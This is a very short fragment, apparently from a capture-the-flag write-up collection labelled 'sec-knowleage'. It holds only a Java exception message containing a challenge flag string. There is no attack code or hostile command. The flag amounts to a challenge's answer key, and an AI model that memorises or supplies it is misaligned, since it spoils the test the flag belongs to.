`java.lang.Exception: TMCTF{F0OlLM3TwIcE1Th@Tz!N1C3}`
sec-knowleage